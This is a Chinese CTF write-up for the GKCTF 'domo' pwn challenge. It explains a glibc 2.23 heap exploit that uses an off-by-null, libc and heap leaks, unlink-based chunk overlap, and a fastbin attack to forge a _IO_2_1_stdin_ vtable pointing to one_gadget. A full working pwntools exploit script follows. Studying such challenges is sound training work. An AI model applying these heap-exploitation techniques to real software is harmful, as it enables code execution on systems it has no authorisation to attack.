GKCTF domo

思路如下

  1. glibc2.23用unsorted bin泄露libc
  2. heap_addr用fastbin泄露
  3. heap重叠改写fd实现任意地址写入
  4. 申请一个chunk伪造成vtable,将one_gadget布置进去
  5. 在_IO_2_1_stdin_构造fake_chunk改写vtable为fake_vtable
  6. 当程序调用scanf时就会触发one_gadget(具体调试跟踪太…所以暂时记概念)

题目分析

  1. off by null

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7DWpLr3E-1664940572486)(./图片/off_by_null.png)]
2. 同时只能有9个chunk
3. 不能去修改malloc_hook和free_hook,否则无法使用程序的函数(添加了if判断)

overlap构造

  1. 构造三个chunk(具体看exp这里直说unlink部分),分别为
    malloc(0x40),malloc(0x68),malloc(0xf0)
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vd0pq7mg-1664940572488)(./图片/1.png)]

  2. 通过前面的泄露的chunk地址通过计算拿到chunk_0的地址进行布置,fd,bk的位置+0x8和0x10目的是unlink检查时使其拿chunk_0的地址进行判断(自己看源码啦)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-c80lt1X0-1664940572488)(./图片/2.png)]

  1. 通过chunk_1改写其chunk_2的pre_size以及触发off by one

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DvfgOYyv-1664940572489)(./图片/3.png)]

  1. 释放chunk_2,完成overlap,即通过申请chunk切割unlink后得到chunk_3,若chunk_3释放了,我们可以通过chunk_0改写fd,实现任意地址写(需提前布置)

exp

from pwn import *
context.update(os='linux',arch='i386',log_level='debug')
#c=remote(b'node4.buuoj.cn',29430)
c=process(b'./domo')

libc=ELF(b'/home/davis/Desktop/libc.so.6')

gdb.attach(c,'''

b *$rebase(0xf1c)
b *$rebase(0x1054)
b *$rebase(0x1135)


''')



def add(size,content):
	c.sendlineafter(b'> ',b'1')
	c.sendlineafter(b'size:',str(size))#0x0-0x120
	c.sendlineafter(b'content:',content)
	
	
	
def free(idx):
	c.sendlineafter(b'> ',b'2')
	c.sendlineafter(b'index:',str(idx))
	
	
	
def show(idx):
	c.sendlineafter(b'> ',b'3')
	c.sendlineafter(b'index:',str(idx))
	
	
	
	
def edit_only_one(addr,num):
	c.sendlineafter(b'> ',b'4')
	c.sendlineafter(b'addr:',str(addr))
	c.sendlineafter(b'num:',num)

	
	
	
	
#leak libc_base

add(0x100,b'')	#0
add(0x10,b'')	#1
free(0)
add(0x100,b'')	#0
show(0)
c.recv(1)
offset=		0x7ffff7bcdb78 - 0x7ffff7bcdb0a
main_arena=	u64(c.recv(6).ljust(8,b'\x00')) + offset-88
malloc_hook=	main_arena - 0x10
libc_base=	malloc_hook-libc.sym[b'__malloc_hook']


log.success("libc_base="+hex(libc_base))


#leak heap_addr
add(0x10,b'')	#2
free(1)
free(2)
add(0x10,b'')	#1
show(1)

c.recv(1)
offset=0x55a925ece120-0x55a925ece10a
heap_addr=u64(c.recv(6).ljust(8,b'\x00'))+offset
log.success("heap_addr="+hex(heap_addr))

add(0x10,b'')	#2

fake_chunk	=heap_addr+0x20+0x20+0x10

log.success("fake_chunk="+hex(fake_chunk))

add(0x40,p64(0)+p64(0xb1)+p64(fake_chunk+0x8)+p64(fake_chunk+0x10)+p64(fake_chunk))	#3
add(0x68,b'')	#4
add(0xf0,b'')	#5
free(4)
add(0x68,p64(0)*12+p64(0xb0))	#4
add(0x10,b'')	#6
free(5)

#### fastbin attack



_IO_2_1_stdin_=libc_base+libc.sym['_IO_2_1_stdin_']

log.success("_IO_2_1_stdin_="+hex(_IO_2_1_stdin_))

fake_chunk=_IO_2_1_stdin_+160-3

log.success("fake_chunk="+hex(fake_chunk))


add(0xc0,b'')#5
add(0x60,b'')#7

free(7)
free(4)
free(5)

add(0xc0,p64(0)*7+p64(0x71)+p64(fake_chunk))#4

#1 2 3 4 6

og=[0x45226,0x4527a,0xf03a4,0xf1247]

add(0xa8,p64(0)*2+p64(libc_base+og[2])*19)#5


fake_vtable=heap_addr+0x220
payload=b'\x00'*3+p64(0)*2+p64(0xffffffff)+p64(0)*2+p64(fake_vtable)+p64(0)
add(0x60,b'')#7
add(0x63,payload)#8


c.interactive()

注:教训血的教训,看了自己写的exp像极了狗x,建议大家提前把需要的chunk准备好,我这里是想到泄露什么就先写了一部分的导致后面自己都看懵了=-=

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值